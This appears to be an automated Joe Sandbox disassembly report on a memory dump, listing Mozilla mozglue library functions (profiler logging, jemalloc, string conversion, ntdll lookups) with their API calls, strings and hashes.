Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e0b49f9cc6aadaa311fecb79b66db7baa722be9058ffd6a267e18b3c0296fac5
Instruction ID: a185dc27f1469f4fdc054cf48bc8075f8e3da9e98424a37dacd083f6ea81025d
Opcode Fuzzy Hash: e0b49f9cc6aadaa311fecb79b66db7baa722be9058ffd6a267e18b3c0296fac5
Instruction Fuzzy Hash: 0FF0B4792003059FEB046F69FD48A9AB7BCEB8625DF048119FA6593702CB318846C775

Function 6CABF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA84A68), ref: 6CAB945E
Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAB9470
Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAB9482
Part of subcall function 6CAB9420: __Init_thread_footer.LIBCMT ref: 6CAB949F

GetCurrentThreadId.KERNEL32 ref: 6CABF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CABF598), ref: 6CABF621

Part of subcall function 6CAB94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAB94EE
Part of subcall function 6CAB94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAB9508

GetCurrentThreadId.KERNEL32 ref: 6CABF637
AcquireSRWLockExclusive.KERNEL32(6CAFF4B8,?,?,00000000,?,6CABF598), ref: 6CABF645
ReleaseSRWLockExclusive.KERNEL32(6CAFF4B8,?,?,00000000,?,6CABF598), ref: 6CABF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CABF62A

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ad6ed73de505b5a0939992bf8e3de2fe8b0b875e53714d1fa0faa38e99273f2b
Instruction ID: 987a3df4c7812e7b3c120bdd3dfcd35a9bcca88632b9a7c180b977784f2c966f
Opcode Fuzzy Hash: ad6ed73de505b5a0939992bf8e3de2fe8b0b875e53714d1fa0faa38e99273f2b
Instruction Fuzzy Hash: 93F09079200306AFDA046B68FC48A9AB7BDEB8625DF048119FE6593701CB354847C775

Function 6CAB05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CAACFAE,?,?,?,6CA731A7), ref: 6CAB05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CAACFAE,?,?,?,6CA731A7), ref: 6CAB0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA731A7), ref: 6CAB061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA731A7), ref: 6CAB0627

Strings

<jemalloc>, xrefs: 6CAB05FA, 6CAB060F
: (malloc) Error in VirtualFree(), xrefs: 6CAB061B, 6CAB0625

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: b79f44392cfad11ffed4d28c4e92b292c0eab2c3c35fcf49627c208a29e04e97
Instruction ID: c41e15a6ac7e62732495cacde480b7b64144acd39713f2350d05fd4a22a3a75d
Opcode Fuzzy Hash: b79f44392cfad11ffed4d28c4e92b292c0eab2c3c35fcf49627c208a29e04e97
Instruction Fuzzy Hash: F2E08CE2A0111037F514225ABC86DBBBA1CDBCA138F08013AFD0D82301E95AAD1E62F6

Function 6CA805F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00c06815a6bc15ffef89631d5245075e403f80806c200c652a3f1e788b441042
Instruction ID: 92cf2663472ff9bf5c7e9890e679fa675da7c47be37cef7de510a04121fe1dc8
Opcode Fuzzy Hash: 00c06815a6bc15ffef89631d5245075e403f80806c200c652a3f1e788b441042
Instruction Fuzzy Hash: D5A14B70A02745CFDB14CF29C994A99FBF1BF48304F54866ED45A97B00E770A989CF90

Function 6CAD14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAD14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAD14E2
GetCurrentThreadId.KERNEL32 ref: 6CAD1546
InitializeConditionVariable.KERNEL32(?), ref: 6CAD15BA
free.MOZGLUE(?), ref: 6CAD16B4

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: a6e6494e715b966145986f587db1a3c507c10fb5d991b0c948a510dae26737b8
Instruction ID: a2a04ff72e9e50cd72597c4f4b34413f1b625e6994a53bfbb751f4567f605e43
Opcode Fuzzy Hash: a6e6494e715b966145986f587db1a3c507c10fb5d991b0c948a510dae26737b8
Instruction Fuzzy Hash: AD61F375A007049FDB118F24D980BEEB7B5BF89318F05851CEE8A57701EB35E989CB91

Function 6CACDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CACDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CACD38A,?), ref: 6CACDC6F
free.MOZGLUE(?,?,?,?,?,6CACD38A,?), ref: 6CACDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CACD38A,?), ref: 6CACDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CACD38A,?), ref: 6CACDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CACD38A,?), ref: 6CACDD4A

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: ea4cb93979d389d4c158aa37d4775a9ed25f224f0224056ace8d276e910f561e
Instruction ID: cedb072b03d208d98dfc1b4c5c687369bb1fd26aa5e0106dea2727e3ed89c420
Opcode Fuzzy Hash: ea4cb93979d389d4c158aa37d4775a9ed25f224f0224056ace8d276e910f561e
Instruction Fuzzy Hash: 3F4157B9B00205CFCB00CFA9D9809AAB7F5FF88304B554569D906ABB10DB31EC45CB91

Function 6CAB6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CAAFA80: GetCurrentThreadId.KERNEL32 ref: 6CAAFA8D
Part of subcall function 6CAAFA80: AcquireSRWLockExclusive.KERNEL32(6CAFF448), ref: 6CAAFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAB6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CAB67C8

Part of subcall function 6CAC4290: memcpy.VCRUNTIME140(?,?,6CAD2003,6CAD0AD9,?,6CAD0AD9,00000000,?,6CAD0AD9,?,00000004,?,6CAD1A62,?,6CAD2003,?), ref: 6CAC42C4

Strings

data, xrefs: 6CAB6593

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 27ed45001182b98833202b606b66001aa65e516a4d478a522da4333a9d57637e
Instruction ID: 61a8d73d0ae864fbf08404308bca06e015a6e67c992ec7bda148282f35164755
Opcode Fuzzy Hash: 27ed45001182b98833202b606b66001aa65e516a4d478a522da4333a9d57637e
Instruction Fuzzy Hash: 98D1F270A053408FD728CF28D951B9FB7F5AFC5308F14892DE18997B90DB31A889CB92

Function 6CAAD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA7EB57,?,?,?,?,?,?,?,?,?), ref: 6CAAD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA7EB57,?), ref: 6CAAD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA7EB57,?), ref: 6CAAD673
free.MOZGLUE(?), ref: 6CAAD888

Strings

|Enabled, xrefs: 6CAAD81E

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 7fbb7ad24196102d7719fcb19c0c705fcbdb70c904bbaec93ad6245a9621cbc2
Instruction ID: e7fd07e58993b13cf0e7ccd6203ff2c784376bc62bbd0926373973b0187e1e00
Opcode Fuzzy Hash: 7fbb7ad24196102d7719fcb19c0c705fcbdb70c904bbaec93ad6245a9621cbc2
Instruction Fuzzy Hash: 7CA105B4E003458FDB15CFA8C8847EEBBF1AF49318F18815CD8956B741D735A98ACBA1

Function 6CAAF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CAAF480

Part of subcall function 6CA7F100: LoadLibraryW.KERNEL32(shell32,?,6CAED020), ref: 6CA7F122
Part of subcall function 6CA7F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA7F132

CloseHandle.KERNEL32(00000000), ref: 6CAAF555

Part of subcall function 6CA814B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA81248,6CA81248,?), ref: 6CA814C9
Part of subcall function 6CA814B0: memcpy.VCRUNTIME140(?,6CA81248,00000000,?,6CA81248,?), ref: 6CA814EF

Part of subcall function 6CA7EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA7EEE3

CreateFileW.KERNEL32 ref: 6CAAF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CAAF523

Strings

\oleacc.dll, xrefs: 6CAAF4CB

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 013674ac324b877f7e57ce66740e558b60b1e45fc3c50ac73e21a8ab466c9b04
Instruction ID: ce875c73cab3c126be1886d9c33d52193c449376fe44cde23928a9a97f23e105
Opcode Fuzzy Hash: 013674ac324b877f7e57ce66740e558b60b1e45fc3c50ac73e21a8ab466c9b04
Instruction Fuzzy Hash: DB41B3306087119FE724DF69DD84A9BB7F4BF45318F504A1CF5A183650EB30D98ACBA2

Function 6CAD74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CAD7526
__Init_thread_footer.LIBCMT ref: 6CAD7566
__Init_thread_footer.LIBCMT ref: 6CAD7597

Strings

kernel32.dll, xrefs: 6CAD7557
UnmapViewOfFile2, xrefs: 6CAD7552

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 1c77d7f555f52fd8d847e511e974b68a326316e96802040edc221e679cf630cb
Instruction ID: 6fe338743b1992476c85d3712f8ddba706c57ace3245a039f15a5c933e957971
Opcode Fuzzy Hash: 1c77d7f555f52fd8d847e511e974b68a326316e96802040edc221e679cf630cb
Instruction Fuzzy Hash: DC2106717006029BCA1D8FE9DD54E5973F6EB46325B05412CE825D7F40D731B887CAA6

Function 6CADC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CADC0E9), ref: 6CADC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CADC437
FreeLibrary.KERNEL32(?,6CADC0E9), ref: 6CADC44C

Strings

ntdll.dll, xrefs: 6CADC413
NtQueryVirtualMemory, xrefs: 6CADC431

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 3c3c5e76ccb1e327c387e59fe77802b078b26183b33d0f9bb59e1ac3990aef06
Instruction ID: 7e384c88a7b911d36a2d84480977468299c355550c78bf035041fbe514cac0ab
Opcode Fuzzy Hash: 3c3c5e76ccb1e327c387e59fe77802b078b26183b33d0f9bb59e1ac3990aef06
Instruction Fuzzy Hash: C3E09A7161130A9BDF086F71FE0C7117BF8B706289F04C219AA24D2740DB74D042CA90

Function 6CAD75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAD748B,?), ref: 6CAD75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CAD75D7
FreeLibrary.KERNEL32(?,6CAD748B,?), ref: 6CAD75EC

Strings

ntdll.dll, xrefs: 6CAD75B3
RtlNtStatusToDosError, xrefs: 6CAD75D1

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 6584ffb61bea079df944fe59d4fb880d276d54190d75755efab7c0ae75a46a2d
Instruction ID: b2b55809da25b8e591e088ca82b13940645a077d66832c0a74dbc8e5b658cadf
Opcode Fuzzy Hash: 6584ffb61bea079df944fe59d4fb880d276d54190d75755efab7c0ae75a46a2d
Instruction Fuzzy Hash: 28E09271650303ABEB086BA2FC48701FAF8EB06218F14C12AAD25E1A40EBB59083CF15

Function 6CAD7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAD7592), ref: 6CAD7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CAD7627
FreeLibrary.KERNEL32(?,6CAD7592), ref: 6CAD763C

Strings

ntdll.dll, xrefs: 6CAD7603
NtUnmapViewOfSection, xrefs: 6CAD7621

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 7e4ad3afe4a4a90c96d35c689e93371cc8aceacca8001b3989044bc7a22518c2
Instruction ID: 69be6c370eaca9a3df5282d1f4efce8be653666ef05019d14a5c49b6b4d00b2c
Opcode Fuzzy Hash: 7e4ad3afe4a4a90c96d35c689e93371cc8aceacca8001b3989044bc7a22518c2
Instruction Fuzzy Hash: 61E092B0654302ABEF086BA6FC08741BAF8F71A359F04C21AED25D1B40E7B4A046CF14

Function 6CAC8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CABB58D,?,?,?,?,?,?,?,6CAED734,?,?,?,6CAED734), ref: 6CAC8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CABB58D,?,?,?,?,?,?,?,6CAED734,?,?,?,6CAED734), ref: 6CAC8EBF
free.MOZGLUE(?,?,?,?,6CABB58D,?,?,?,?,?,?,?,6CAED734,?,?,?), ref: 6CAC8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CABB58D,?,?,?,?,?,?,?,6CAED734,?,?,?,6CAED734), ref: 6CAC8F46
free.MOZGLUE(?,?,?,?,6CABB58D,?,?,?,?,?,?,?,6CAED734,?,?,?), ref: 6CAC8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CABB58D,?,?,?,?,?,?,?,6CAED734,?,?,?), ref: 6CAC8F8F

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d0d089d7b5a0e77b4c06d1aefc5a2af5cc9eecf39077c61cf7b72a29d09ca52d
Instruction ID: c6d276521bd69cff198827c1a305e9a3115f167f635ee755dca0792e01a462ef
Opcode Fuzzy Hash: d0d089d7b5a0e77b4c06d1aefc5a2af5cc9eecf39077c61cf7b72a29d09ca52d
Instruction Fuzzy Hash: ED5171B1B012168FEB14CF58D8806AE73B2BF45718F19052AD516AB740E731F945CBD2

Function 6CA74DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA74E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA74E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA74EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA74F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA74F1E

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 6a2272edab200cc6ceb5233373af06a13814cfd2efa0e4d4b734222e296459c7
Instruction ID: 1a194859bbaa70711fde25267a9d970a79fccbc8808ba12f2e83b92c2b883d85
Opcode Fuzzy Hash: 6a2272edab200cc6ceb5233373af06a13814cfd2efa0e4d4b734222e296459c7
Instruction Fuzzy Hash: 3741B0796087059FC725CF29C88099BB7F4BF89354F148A2DF46687741D730E998CBA2

Function 6CA81530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CA8152B,?,?,?,?,6CA81248,?), ref: 6CA8159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA8152B,?,?,?,?,6CA81248,?), ref: 6CA815BC
moz_xmalloc.MOZGLUE(-00000001,?,6CA8152B,?,?,?,?,6CA81248,?), ref: 6CA815E7
free.MOZGLUE(?,?,?,?,?,?,6CA8152B,?,?,?,?,6CA81248,?), ref: 6CA81606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CA8152B,?,?,?,?,6CA81248,?), ref: 6CA81637

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: db0286daf95d1de2cc71536102ff45c498be0fc8e5bb253678139028ea9e17d7
